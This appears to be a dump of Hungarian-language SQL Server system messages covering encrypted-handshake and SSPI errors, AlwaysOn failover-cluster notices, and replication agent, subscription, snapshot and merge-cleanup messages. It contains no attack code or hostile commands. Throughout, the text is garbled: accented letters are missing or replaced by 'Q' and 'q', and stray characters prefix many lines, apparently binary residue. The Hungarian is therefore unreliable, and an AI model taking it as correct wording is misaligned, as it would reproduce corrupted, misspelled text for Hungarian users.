XA kiszolgl kibQvtett vdelmi szintjnek belltsa Engedlyezett vagy KtelezQ, de az gyfl nem adott meg egyszerq szolgltatsnevet. A kapcsoldshoz ennek az gyflnek tmogatnia kell a kibQvtett vdelmet. ElkpzelhetQ, hogy frisstenie kell az SQL Server illesztQprogramjt az gyflen.

A kapott egyszerq szolgltatsnv szolgltatsosztlyt megad eleme rvnytelen.

A kapott egyszerq szolgltatsnv IP-cmet megad eleme rvnytelen.

A kapott egyszerq szolgltatsnv gazdallomst megad eleme rvnytelen.

Egy memriafoglals sikertelen volt a kapott egyszerq szolgltatsnv rvnyestse sorn.

A QueryContextAttributes fggvny vgrehajtsa sikeres volt, de a fggvny nem olvasta be a kapott egyszerq szolgltatsnevet.

HA WSAStringToAddress fggvny nem tudta cmszerkezett alaktani a kapott egyszerq szolgltatsnv IP-cmet megad elemt. A Windows-hibakd jelzi a hiba okt.

Nem sikerlt egy olyan esemnyre vrni, amely egy titkostsi kzfogshoz tartoz be-/kimeneti mqveletek befejezQdst jelzi.

Nem sikerlt sorba lltani egy titkostsi kzfogs feldolgozsra szolgl feladatot.

Sikertelen volt egy puffernek a hlzatrl val olvassra irnyul ksrlet egy titkostsi kzfogs sorn.

A kapcsolat bezrult, mikzben a rendszer egy olvassi puffert prblt feldolgozni egy titkostsi kzfogs sorn.

A kapcsolat bezrult, mikzben a rendszer egy rsi puffert prblt feldolgozni egy titkostsi kzfogs sorn.

Sikertelen volt egy puffernek a hlzatra val rsra irnyul ksrlet egy titkostsi kzfogs sorn.

Az AcquireCredentialsHandle fggvny vgrehajtsa sikertelen volt. A Windows-hibakd jelzi a hiba okt.

Az InitializeSecurityContext fggvny vgrehajtsa sikertelen volt. A Windows-hibakd jelzi a hiba okt.

A QueryContextAttributes fggvny nem tudta beolvasni az adatfolyamok mrett. A Windows-hibakd jelzi a hiba okt.

Egy puffer tmretezsre irnyul ksrlet sikertelen volt.

tVratlan hiba trtnt egy titkostsi kzfogs sorn.

A rendszer rvnytelen jogkivonatot kapott egy titkostsi kzfogs sorn.

Sikertelen volt egy csomag lefoglalsa egy hlzati rsi mqvelethez egy titkostsi kzfogs sorn.

Sikertelen volt egy objektum lefoglalsa egy titkostsi kzfogs elvgzshez.

Sikertelen volt egy objektum inicializlsa egy titkostsi kzfogs elvgzshez.

Egy titkostsi kzfogsbl szrmaz jogkivonat nagyobb volt az SSPI ltal engedlyezett mretnl.

A kapcsolat bezrult, mikzben a rendszer hlzati be-/kimeneti mqvelet(ek)re vrakozott egy titkostsi kzfogs sorn.

Vratlan kivtel trtnt egy titkostsi kzfogs feldolgozsa sorn.

Az egyeztetett biztonsgi krnyezetbQl hinyzik egy integritsi jelzQ.

Az egyeztetett biztonsgi krnyezetbQl hinyzik egy bizalmassgi jelzQ.

Az egyeztetett biztonsgi krnyezetben szerepel bizalmassgi jelzQ.

Az egyeztetett biztonsgi krnyezetbQl hinyzik egy sorozatszlelsi jelzQ.

Az egyeztetett biztonsgi krnyezetbQl hinyzik egy jrajtszs-szlelsi jelzQ.

A bejvQ kapcsolatokhoz szksg van a globlis hitelestQ adatok lerjra.

hAz SSPI-szerkezetek tl nagyok a titkostshoz.

dAz SSPI-szerkezetek tl nagyok az alrshoz.

lAz SSPI res kimeneti jogkivonatot adott vissza a biztonsgi krnyezet egyeztetsekor. EllenQrizze a hlzati csomag esetleges srlst vagy egyb hlzatkezelsi problmkat.

A(z)  %1!s!  rendelkezsre llsi csoporthoz tartoz helyi rendelkezsre llsi msodpldny llapota  %2!s!  rtkrQl  %3!s!  rtkre vltozott. A msodpldny llapota indts, feladattvtel, kommunikcis problma vagy frthiba miatt vltozott meg. Tovbbi informci a rendelkezsre llsi csoport irnytpultjn, az SQL Server hibanapljban, a Windows Server feladattvteli frt kezelQpultjn vagy a Windows Server feladattvteli frt napljban tallhat. 

Az AlwaysOn rendelkezsre llsi csoportok Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezete t lett lltva a kvetkezQ tvoli WSFC-frtre:  %1!s! . Egy ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = 'remote_wsfc_cluster_name' parancs tvltotta a frtkrnyezetet a helyi WSFC-frtrQl erre a tvoli WSFC-frtre. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

hAz AlwaysOn rendelkezsre llsi csoportok Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezete t lett lltva a helyi WSFC-frtre. Egy ALTER SERVER CONFIGURATION SET HADR CLUSTER LOCAL parancs tvltotta a frtkrnyezetet a(z)  %1!s!  tvoli WSFC-frtrQl a helyi WSFC-frtre. Ezen a helyi WSFC-frtn a rendelkezsre llsi adatbzisok mr nem tartoznak rendelkezsre llsi csoporthoz, s tvltanak RESTORING llapotra. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Nem tartozik becenv a(z)  %1!s!  cikkhez a(z)  %2!s!  kiadvnyban.

A(z)  %1!s!  szqrQ mr ltezik a(z)  %2!s!  cikkhez a(z)  %3!s!  kiadvnyban.

xNem lehet becenevet generlni a kvetkezQhz:  %1!s! .

\A(z)  %1!s!  kiadvnyhoz a kvetkezQ tulajdonsg tartozik:  %2!s! . Az SQL Server  %3!s!  szmnl korbbi verzijnak elQfizetQi ezt a belltst nem veszik figyelembe.

Egy sorszm-ellenQrzsi krelem kerlt elkldsre a(z) %1!s! heterogn elQfizetQ szmra a(z) %3!s! kiadvny %2!s! cikkre vonatkozan. Az ellenQrzsi eredmnyek a terjesztsi elQzmnyekben lesznek kzztve.

|ElQfordulhat, hogy a(z)  %1!s!  tbla nincs szinkronizlva. A sorok szma: (jelenlegi: %2!s!, vrt rtk: %3!s!). A(z) %4!s! sorszmllsi metdus hasznlatval (0 = teljes, 1 = gyors).

`ElQfordulhat, hogy a(z)  %1!s!  tbla nincs szinkronizlva. A sorok szma: (jelenlegi: %2!s!, vrt rtk: %3!s!). ellenQrzQsszegek: (jelenlegi: %4!s!, vrt rtk: %5!s!).

A(z)  %1!s!  tbla sorszm-ellenQrzse megtrtnt (%2!s!). A(z) %3!s! sorszmllsi metdus hasznlatval (0 = teljes, 1 = gyors).

pA(z)  %1!s!  tbla sorszm-ellenQrzse (%2!s!) s ellenQrzQsszeg-vizsglata megtrtnt. Az ellenQrzQsszeg szveget vagy kpet tartalmaz oszlopok esetn nem kerlt ellenQrzsre.

PNaplolvas gynk indtsi zenete

(gynk indtsa

,gynk futtatsa

\Nem naplzott gynklellts szlelse.

DReplikcis gynk temezse

TReplikcis gynkk fellvizsglata

Azon replikcis gynkket szleli, amelyek nem naplzzk aktvan az elQzmnyeket.

Eltvoltja a replikcis gynkk elQzmnyeit a terjesztsi adatbzisbl.

8Replikci: gynkhiba

XReplikci: az gynk jra prblkozik

XReplikci: a lejrt elQfizets eldobva

xReplikcis figyelmeztets: %1!s! (kszbrtk: %2!s!)

TReplikci: az gynk futsa sikeres

Eltvoltja a repliklt tranzakcikat a terjesztsi adatbzisbl.

Felismeri s eltvoltja a lejrt elQfizetseket a kzztett adatbzisokbl.

A @rowcount_only paramternek a 0,1 vagy 2 tket kell adni. 0 = 7.0-kompatibilis ellenQrzQsszeg. 1 = csak a sorok szmt ellenQrizze. 2 = a 8.0-s verziban bevezetett j ellenQrzQsszeg-funkci.

DAlaprtelmezett gynkprofil

LRszletes elQzmnyq gynkprofil.

`gynkprofil rszletes elQzmnynaplzshoz.

HLass kapcsolat gynkprofil.

hgynkprofil kis svszlessgq kapcsolatokhoz.

PWindows SzinkronizlskezelQ profil

tA Windows SzinkronizlskezelQ ltal hasznlt profil.

xNem sikerlt trlni a terjesztsi tranzakcik tblit.

xNem sikerlt trlni a terjesztsi elQzmnyek tblit.

0A replikcis gynk %1!s! perce nem naplzott llapotzenetet. Ez nem reagl gynkt vagy nagy rendszeraktivitst jelenthet. EllenQrizze, hogy rekordok repliklsa megtrtnt-e a cl fel, s hogy aktvak-e mg a kapcsolatok az elQfizetQ, a kzztevQ s a terjesztQ fel.

 6.x kiads

Szvvers rzkelve az sszes fut replikcis gynkre vonatkozan.

gynk lelltsa. Tovbbi tjkoztatsrt tekintse meg az SQL Server gynk feladatelQzmnyeit a(z)  %1!s!  feladatra vonatkozan.

4A(z)  %1!s!  tbla megfelelt a teljes sorszmellenQrzsen, miutn a gyorsellenQrzsen megbukott. A DBCC UPDATEUSAGE automatikusan inicializlva lesz.

A Conditional Fast Rowcount metdus krelme vrhat szm megadsa nlkl. A Fast metdus lesz hasznlva.

<Egy vrt ellenQrzQsszeg-rtk kerlt tadsra, azonban az ellenQrzQsszegek nem lesznek sszehasonltva, mert csak sorszm-ellenQrzsi krelem trtnt.

|Generlt vrt sorszmrtk (%1!s!) a kvetkezQre: %2!s!.

xReplikci: Az elQfizetQ megbukott az adatellenQrzsen.

xReplikci: Az elQfizetQ megfelelt az adatellenQrzsen.

Xgynk elQzmnyeinek adattrlse: %1!s!

@Eloszls adattrlse: %1!s!

DLejrt elQfizets adattrlse

EllenQrzsi hibval rendelkezQ elQfizetQk jrainicializlsa

jrainicializlja az sszes olyan elQfizetQt, akinl ellenQrzsi hiba trtnt.

8A(z)  %1!s!  elQfizetQ elQfizetse a(z)  %3!s!  kiadvnyban tallhat  %2!s!  cikkre vonatkozan jrainicializlva egy sikertelen ellenQrzst kvetQen.

Replikci: Az elQfizets sikertelen ellenQrzst kvetQen jrainicializlva.

A(z)  %1!s!  elQfizetQ  %3!s!  kiadvnyban tallhat  %2!s!  cikkre vonatkoz elQfizetsnek adatellenQrzse sikertelen.

A(z)  %1!s!  elQfizetQ  %3!s!  kiadvnyban tallhat  %2!s!  cikkre vonatkoz elQfizetsnek adatellenQrzse sikeres.

,A(z)  %1!s!  elQfizetQ  %3!s!  kiadvnyban tallhat  %2!s!  cikkre vonatkoz elQfizetse sikertelen adatellenQrzst kvetQen jrainicializlva.

Nem tallhat elem az msdb..sysreplicationalerts adatbzisban.

TReplikci: gynk egyni lelltsa

Generlt vrt sorszmrtk (%1!s!) s vrt ellenQrzQsszeg-rtk (%2!s!) a kvetkezQre: %3!s!.

Nhny replikcis gynknl nem rzkelhetQ szvvers. Ezen gynkk llapota  Sikertelen  rtkqre lltva.

A(z)  %1!s!  kiszolgl nem dobhat el, mert az terjesztQknt van hasznlva a replikciban.

A(z)  %1!s!  kiszolgl nem dobhat el, mert az kzztevQknt van hasznlva a replikciban.

A(z)  %1!s!  kiszolgl nem dobhat el, mert az elQfizetQknt van hasznlva a replikciban.

A(z)  %1!s!  kiszolgl nem dobhat el, mert az elQfizetQknt van hasznlva a(z)  %2!s!  tvoli kzztevQhz a replikciban.

gynkprofil a repliklt, vrlistra helyezett tranzakci-olvashoz.

PEldobva %1!s! nvtelen elQfizets.

gynkprofil adatkonzisztencia-hibk tugrshoz. Ez csak SQL Server elQfizetQk ltal hasznlhat.

rvnytelen rtk van megadva a  SkipErrors  gynkparamterhez.

Tl hossz a  SkipErrors  gynkparamterhez megadott rtk.

|Az gynkprofil heterogn elQfizetQknl nem hasznlhat.

8n nem rendelkezik engedllyel gynk futtatsra lekldses elQfizetsekhez. GyQzQdjn meg arrl, hogy megadta a  SubscriptionType  gynkparamtert.

A kiadvny meglvQ pillanatkpe rvnytelentve. j pillanatkp generlshoz futtassa jra a pillanatkpgynkt.

Ljrainicializlt pillanatkp(ek).

A vltoztats nem hajthat vgre, mert mr ltre van hozva egy pillanatkp. A vltoztats vgrehajtshoz, s a meglvQ pillanatkp rvnytelentshez lltsa a @force_invalidate_snapshot rtkt 1-re.

A vltoztats nem hajthat vgre, mert vannak aktv elQfizetsek. A vltoztats vgrehajtshoz, s az aktv elQfizetsek jrainicializlshoz lltsa a @force_reinit_subscription rtkt 1-re.

LMennyisgi kiszolglkzi profil

Nagy mennyisgq kiszolglkzi szinkronizlsra optimalizlt egyestsi gynkprofil.

Az sp_addmergearticle @processing_order paramterben megadott cikksorrend nem tkrzi az elsQdleges kulcs-idegen kulcs kapcsolatokat a kzztett tblk kztt. A(z)  %1!s!  cikk egy vagy tbb olyan cikkre hivatkozik, amely a ltrehozsa utn kerl ltrehozsra. Mdostsa a processing_order tulajdonsgot az sp_changemergearticle hasznlatval.

A tblaegyestsi cikkek nem tmogatnak klnbzQ rtkeket az sp_addmergearticle @source_object s a @destination_object paramtereihez. Ne adjon meg rtket a @destination_object paramternek, vagy mindkt paramternek ugyanazt az rtket adja.

Nem adhat 1, 2 vagy 3 rtk a @partition_options paramternek, mert a(z)  %1!s!  kiadvny kompatibilitsi szintje alacsonyabb mint 90RTM. A publication_compatibility_level 90RTM rtkqre lltshoz hasznlja az sp_changemergepublication trolt eljrst.

A ktegelt sortrlsi ksrlet sikertelen a(z) %1!s! tblnl.

A @conflict_logging nem llthat  both  rtkqre, mert a(z)  %1!s!  kiadvny kompatibilitsi szintje 90-nl alacsonyabb. A kiadvny ltrehozsakor lltsa a @publication_compatibility_level szintet  90RTM  rtkqre, vagy az sp_changemergepublication hasznlatval lltsa a publication_compatibility_level szintet  90RTM  rtkqre.

Az identitsoszlopra vonatkoz engedlyezett max. vagy min. identitsszmok nem tallhatk az adott cikkre vonatkozan.

A cikk  auto  rtkq identityrangemanagementoption belltssal egy vagy tbb hiba miatt nem tehetQ kz.

Egy cikk nem lehet egy logikai rekord rsze, ha ahhoz egyni zletilogika-felold tartozik.

Az egyestsi folyamat nem tudta trlni a(z)  %1!s!  tkzsi tblt a(z)  %2!s!  kiadvnyra vonatkozan.

Figyelmeztets: A  schema_option  tulajdonsgban megadott jelzQk nmelyiknek rtke nem kompatibilis a kiadvny kompatibilitsi szintjvel. A rendszer a mdostott  %1!s!  schema_option rtket hasznlja majd.

Figyelmeztets: A  schema_option  tulajdonsgban megadott jelzQk nmelyiknek rtke nem kompatibilis a kiadvny kompatibilitsi szintjvel. A rendszer a mdostott  %1!s!  schema_option rtket hasznlja majd.

Figyelmeztets: A FILESTREAM adatai repliklsnak optimlis vgrehajtsa s a memriahasznlat cskkentse rdekben a  stream_blob_columns  tulajdonsgot  true  rtkqre kell lltani. Annak knyszertshez, hogy a FILESTREAM tbla cikkei ne hasznljanak BLOB adatfolyamot, az sp_changemergearticle hasznlatval lltsa a  stream_blob_columns  belltst  false  rtkqre.

\Terjesztsi profil az OLEDB adatfolyamhoz

OLEDB adatfolyam hasznlatval LOB adatok feldolgozsra engedlyezett terjesztsigynk-profil.

A trskzi kzztevQk csak az SQL Server Enterprise osztly kiadsaiban tmogatottak. Ez a pldny: %1!s!.

|A visszamenQleges kompatibilits rdekben az sp_addpublisher hasznlhat kzztevQ felvtelre ehhez a terjesztQhz. Ugyanakkor az sp_adddistpublisher sokkal rugalmasabban hasznlhat.

lA terjesztsi gynk az elQfizetshez hozzadva.

<nincs megadva megjegyzs.

4A(z)  %1!s!  cikk nem inicializlhat jra a(z)  %2!s!:%3!s!  elQfizetsben a(z)  %4!s!  kiadvnyra vonatkozan (elQfizets  no sync  belltssal).

A(z)  %1!s!  kiadvny kezdeti pillanatkpe mg nem rhetQ el.

|A(z)  %1!s!  cikk kezdeti pillanatkpe mg nem rhetQ el.

Deaktivlt kezdeti pillanatkp nvtelen kiadvny(ok)hoz. Az j elQfizetseknek vrniuk kell a kvetkezQ temezett pillanatkpre.

pA kiadvny kezdeti pillanatkpe mg nem rhetQ el.

Vgre lett hajtva a vltozskvetsi kzi takartsi eljrs a kvetkezQ adatbzisra: %1!s!.

A(z) %2!s! paramterhez megadott %1!s! egyni parancsnv figyelmen kvl lesz hagyva. Ehelyett egy rendszer ltal ltrehozott nv lesz hasznlatban. A kiadvny lehetQv teszi a kvetkezQt: %3!s!. Parancsneveket nem szksges megadni.

|Mdosult frisstsi md [%1!s!] rtkrQl [%2!s!] rtkre.

Vrlista-ellenQrzs fellrsa a md belltsval [%1!s!] rtkrQl [%2!s!] rtkre.

IsmtlQdQ sorok tallhatk a kvetkezQben: %1!s!. Nem jtt ltre index.

|A(z)  %1!s!  adatainak kiadsa a(z)  %2!s!  kzztevQtQl.

rvnytelen rtk kerlt megadsra a vrsor tpusnak. rvnyes rtkek = (%1!s!).

A(z) %1!s! paramter nem mdosthat, amg elQfizetsek tartoznak a kiadvnyhoz.

A vrsorba helyezett pillanatkp-kiadvny  %1!s!  rtke nem veheti fel a kvetkezQ rtket:  %2!s! .

`Figyelmeztets: A(z)  %1!s!  cikkhez trtnQ frisstsi elQfizets hozzadsa adatinkonzisztencit okozhat, mert a forrstbla mr elQ van fizetve a kvetkezQhz:  %2!s! 

DA feloldsi adatok a hasznland felold megadsa nlkl kerltek megadsra a(z)  %1!s!  cikkre vonatkozan. A program az alaprtelmezett feloldt hasznlja.

@Sorszm-ellenQrzsi profil.

Az egyestsi gynk ltal a sorszm-ellenQrzshez hasznlt profil.

hSorszm s ellenQrzQsszeg-ellenQrzsi profil.

Az egyestsi gynk ltal a sorszm- s ellenQrzQsszeg-ellenQrzshez hasznlt profil.

Ez az kiadvnytulajdonsg nem mdosthat, mert a kiadvnyhoz aktv elQfizetsek tartoznak.

Statikus kiadvnyok esetn az elQfizetQi partci-ellenQrzsi kifejezsnek NULL rtkqnk kell lennie.

A(z)  %1!s!  s  %2!s!  kzl csak egy lehet olyan, amely nem NULL rtkq.

A kzztevQi identitstartomny mdostsa a(z)  %1!s!  tblra vonatkozan sikertelen.

A kzztevQi identitstartomny mdostsa a(z)  %1!s!  kiadvnyra vonatkozan sikertelen.

PMr ltezik egy lekldses elQfizets a(z)  %1!s!  kiadvnyhoz. Az sp_mergesubscription_cleanup segtsgvel dobja el a nem mqkdQkpes lekldses elQfizetseket.

A(z)  %1!s!  tbla legalbb egy oszlopnak szerepelnie kell a fggQleges partciban.

0Figyelmeztets: A kiadvny olyan funkcit hasznl, amely csak a kvetkezQt futtat elQfizetQk esetn tmogatott:  %1!s!  vagy annak jabb verzija.

Figyelmeztets: Csak a 2. szervizcsomaggal frisstett SQL Server 7.0 vagy jabb verzit futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert decentralizlt konfliktusnaplzs van kijellve.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtatat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert tmrtett pillanatkp van hasznlatban.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtatat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert vertiklis szqrQk vannak hasznlatban.

xFigyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtatat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert smareplikci kerl vgrehajtsra.

Figyelmeztets: Csak az SQL Server 7.0 2.szervizcsomagjt vagy jabb szoftvert futtat elQfizetQk vgezhetnek szinkronizlst a kvetkezQ kiadvnnyal, mert a rendszer a teljes kiadvnyra kiterjedQ jrainicializlst vgez:  %1!s! .

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtatat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert kiadvnyszintq jrainicializls kerl vgrehajtsra.

Figyelmeztets: Csak a 2. szervizcsomaggal frisstett SQL Server 7.0 vagy jabb verzit futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert metaadat-egyestsi adattisztts feladat kerl vgrehajtsra.

Figyelmeztets: Csak az SQL Server 7.0 2.szervizcsomagjt vagy jabb szoftvert futtat elQfizetQk vgezhetnek szinkronizlst a kvetkezQ kiadvnnyal, mert a rendszer a teljes kiadvnyra kiterjedQ rvnyestsi feladatot vgez:  %1!s! .

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert abban olyan adattpusok tallhatk, amelyek jak az SQL Server 2000 verziban.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert legalbb egy idQblyegoszlop szerepel annak cikkei kztt.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert automatikus identitstartomnyok vannak hasznlatban.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert egy j cikk kerlt hozzadsra a kiadvnyhoz a pillanatkpnek ltrehozsa utn.

A(z)  %1!s!  kiadvny mdostsnak Active Directory cmrba trtnQ terjesztse sikertelen.

A terjesztsi belltsok s rendszerobjektumok frisstse a(z) %1!s! adatbzisban.

A kiadsi belltsok s rendszerobjektumok frisstse a(z) %1!s! adatbzisban.

Az elQfizetsi belltsok s rendszerobjektumok frisstse a(z) %1!s! adatbzisban.

tA prhuzamos pillanatkp a(z)  %1!s!  kiadvnyhoz nem rhetQ el, mert az nem kszlt el teljesen, vagy a naplolvas gynk nem fut, hogy aktivlhassa azt. Ha a prhuzamos pillanatkp ltrehozst megszaktottk, jra kell indtani a pillanatkpgynkt a kiadvnyhoz, amg ltre nem jn a teljes pillanatkp.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert a cikksma-ltrehozsi parancsprogrammal az oszlopszintq sszeilleszts mellQzve van.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert a cikksma-ltrehozsi parancsprogrammal a kiterjesztett tulajdonsgok mellQzve vannak.

Figyelmeztets: Csak az SQL Server 2000 programot vagy annak jabb verzijt futtat elQfizetQk szinkronizlhatnak a(z)  %1!s!  kiadvnnyal, mert az smra korltozott cikkeket tartalmaz.

Ez az oszlop nem vehetQ fel tranzakcis kiadvnyba, mert az oszlopazonost 255-nl nagyobb.

A  max_concurrent_dynamic_snapshots  kiadvnytulajdonsgnak nullnl nagyobbnak vagy egyenlQnek kell lennie.

0A(z)  %1!s!  rvnytelen rtk a(z)  %2!s!  paramterre vonatkozan. Az rtknek egy 300-nl nagyobb pozitv egsz szmnak vagy 0-nak kell lennie.

 A(z)  %1!s!  rvnytelen rtk a(z)  %2!s!  paramterre vonatkozan. Az rtknek olyan egsz szmnak kell lennie, amely nagyobb mint %3!s!.

A(z)  %1!s!  rvnytelen rtk a(z)  %2!s!  paramterre vonatkozan. Az rtk 0 vagy 1 lehet.

Vratlan hiba trtnt egy alkalmazszrols megszerzse sorn. GyQzQdjn meg arrl, hogy a fik, amely alatt az egyestsi gynk fut, tagja a kiadvny-hozzfrsi listnak. Amennyiben a kiszolgln sok tevkenysg zajlik, gy akkor futtassa az egyestsi gynkt, amikor tbb szabad kiszolgl-erQforrs ll rendelkezsre.

Vratlan hiba trtnt egy alkalmazszrols feloldsa sorn. GyQzQdjn meg arrl, hogy a fik, amely alatt az egyestsi gynk fut, tagja a kiadvny-hozzfrsi listnak. Amennyiben a kiszolgln sok tevkenysg zajlik, gy akkor futtassa az egyestsi gynkt, amikor tbb szabad kiszolgl-erQforrs ll rendelkezsre.

xA(z)  %2!s!  cikk  %1!s!  tulajdonsga nem mdosthat.

12 rnl nagyobb vrlista-idQtllpsi rtk nem engedlyezett.

pA(z)  %2!s!  cikk  %1!s!  szqrQje nem mdosthat.

A kvetkezQ elQfizetsei tulajdonsg nem mdosthat:  %1!s! .

A(z)  %1!s!  cikk nem dobhat el, mert ms cikkek hasznljk ezt illesztsi cikknt.

Figyelmeztets: A(z) %1!s! gynkfeladat implicit mdon ltrehozva, s az SQL Server gynkszolgltatsi fik alatt kerl futtatsra.

 rvnytelen elQfizets-tpus kerlt megadsra. A(z)  %1!s!  kiadvnyhoz eltrQ elQfizets-tpussal mr ltezik elQfizets az adatbzisban.

A megadott feloldsi informci nem hatroz meg rvnyes hasznland oszlopnevet a(z)  %1!s!  ltali tkzsfeloldshoz.

A(z)  %1!s!  kiadvny nem teszi lehetQv az elQfizets szmra egy alternatv szinkronizlsi partnerrel trtnQ szinkronizlst.

`A metaadat-egyestsi adattisztts nem hajthat vgre, amg egyestsi folyamatok zajlanak. Az egyestsi folyamat befejezQdst kvetQen prblkozzon ismt a mqvelettel.

A metaadat-egyestsi adattisztts a kvetkezQ jrakzztevQnl:  %1!s! . %2!s!  nem hajthat vgre, mert az egyestsi folyamatok vltozsokat terjesztenek az jrakzztevQ fel. Ezen jrakzztevQ sszes elQfizetst jra kell inicializlni.

A(z)  %1!s!  kiadvny vltozsai nem egyesthetQk, mert az inaktvnak van jellve.

xAz sp_mergecompletecleanup nem hajthat vgre az sp_mergepreparecleanup vgrehajtsa elQtt. Az sp_mergepreparecleanup hasznlatval inicializlja a metaadat-egyestsi adattiszttst.

A metaadat-egyestsi adattisztts minden elQfelttele teljestve. A metaadat-egyestsi adattisztts vgsQ fzisnak inicializlshoz hajtsa vgre az sp_mergecompletecleanup mqveletet.

pA metaadat-egyestsi adattisztts nem hajthat vgre, amg egyestsi folyamatok zajlanak. Az adattisztts az egyestsi folyamatok befejezQdst kvetQen kerl vgrehajtsra.

pA metaadat-egyestsi adattisztts nem hajthat vgre, amg egyestsi folyamatok zajlanak. Az adattisztts az egyestsi folyamatok befejezQdst kvetQen kerl vgrehajtsra.

Az adatmdosts nem engedlyezett amg a metaadat-egyestsi adattisztts van folyamatban.

Sem az MSmerge_contents, sem az MSmerge_tombstone nem tartalmaz metaadatot erre a sorra vonatkozan.

Tranzakci-replikcis egyni eljrsok a(z)  %1!s!  kiadvnyra a(z)  %2!s!  adatbzisbl:

A replikcis egyni eljrsok nem lesznek parancsprogrammal ltrehozva a(z)  %1!s!  cikkre vonatkozan, mert az egyni eljrsok automatikus ltrehozsra vonatkoz smabellts nincs engedlyezve.

lReplikcis egyni eljrsok a(z)  %1!s!  cikkre:

LAz egyni eljrsok nem lesznek parancsprogrammal ltrehozva a cikkfrisstsi parancsokra vonatkozan a kzvetlen INSERT, UPDATE vagy DELETE utastsok alapjn.

Az egyni eljrs nem lesz parancsprogrammal ltrehozva, mert a(z)  %1!s!  nem egy felismert cikkfrisstsi parancsszintaxis.

PA smamdosts nem sikerlt egy belsQ replikcis eljrs vgrehajtsa sorn. Javt intzkedsknt tekintse meg az ezen hibazentet ksrQ egyb hibazeneteket.

Az adatdefincis nyelv (DDL) parancsa nem hajthat vgre az elQfizetQnl. A DDL-parancsok csak a kzztevQnl hajthatk vgre. jrakiadsi hierarchiban a DDL-parancsok csak a gykrszintq kzztevQnl hajthatk vgre, az jrakiadsi elQfizetQknl nem.

Nem vehetQ fel adatdefincis nyelvi esemnyindt  %1!s!  esemnyek repliklshoz.

Nem illeszthetQ be adat a sysmergeschemachange smavltozs-nyomkvetsi tblba.

A(z) replicate_ddl kiadvnytulajdonsghoz megadott rtk rvnytelen. Az rtk 1 vagy 0 lehet.

Az elQfizetQi adatbzis nem lehet azonos a kzztevQi adatbzissal, ha az elQfizetQ s a kzztevQ azonos.

Az elQfizetQi adatbzisban meg kell hvni a kvetkezQt: sp_mergesubscription_cleanup.

dA(z)  %1!s!  replikcis gynki feladat nem kerlt eltvoltsra, mert nem szabvnyos nvvel rendelkezik. Ha a feladat mr nincs hasznlatban, manulisan tvoltsa el azt.

A(z)  %1!s!  nzet nem hasznlhat fel jra, mert nem tallhat. Az sszes rendszertblanzet jbl ltre lesz hozva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az elQfizetQ ( %1!s! : %2!s! ) nincs jrainicializlsra megjellve a kzztevQnl, mert az elQfizets nvtelen vagy rvnytelen. EllenQrizze, hogy rvnyes rtkek vannak-e megadva az sp_reinitmergesubscription @subscriber s @subscriber_db paramtereiknt.

 UserScripts

dNem vehetQ fel a(z) %1!s! klsQ kulcs a CASCADE belltssal, mert a(z) %2!s! tbla kiadott llapot. Vegye fel a NOT FOR REPLICATION zradkot a klsQ kulcs defincijhoz.

|A(z)  %1!s!  terjesztsi adatbzis kompatibilitsi szintje %2!s!, amely eltr a fQadatbzis szintjtQl. A kt kompatibilitsi szintnek azonosnak kell lennie, ezrt a terjesztsi adatbzis szintje a kvetkezQre lesz mdostva: %3!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az msrepl_tran_version oszlop elQzetesen definilva van, s engedlyezi a NULL rtkeket. Ez az oszlop el lesz dobva, s jra ltrehozsra kerl, hogy ne legyenek engedlyezve a NULL rtkek a frisstQ elQfizetQknek.

Figyelmeztets: A(z)  %1!s!  paramter elavult, kizrlag a visszamenQleges kompatibilits rdekben rhetQ el. A ksQbbi kiadsokban mr nem szerepel majd. Helyette hasznlja a(z)  %2!s!  paramtert.

Egyni adattpus-lekpezsek alkalmazst nem tmogatja a rendszer. A lekpezs helyessgt ellenQrizni kell. Ha a lekpezsek nem kompatibilisek, az valsznqleg hibt okoz az adatok kzztevQtQl elQfizetQhz trtnQ thelyezsekor.

<A(z)  %1!s!   %2!s!  adattpus-lekpezs nem ltezik. EllenQrizze a forrs- s a cladattpust, a hosszt, a pontossgot, a lptket s a nullzhatsgot.

A(z)  %1!s!  terjesztsi adatbzist elrhetetlen fjlok miatt nem lehet megnyitni. Az adatbzist elveti a rendszer, azonban adattiszttsi feladatot nem hajt vgre a terjesztsi adatbzison. Az adatbzis s a kiszolgl hibanapljban szereplQ tovbbi informcik alapjn llaptsa meg, hogy mirt elrhetetlenek az adatbzisfjlok.

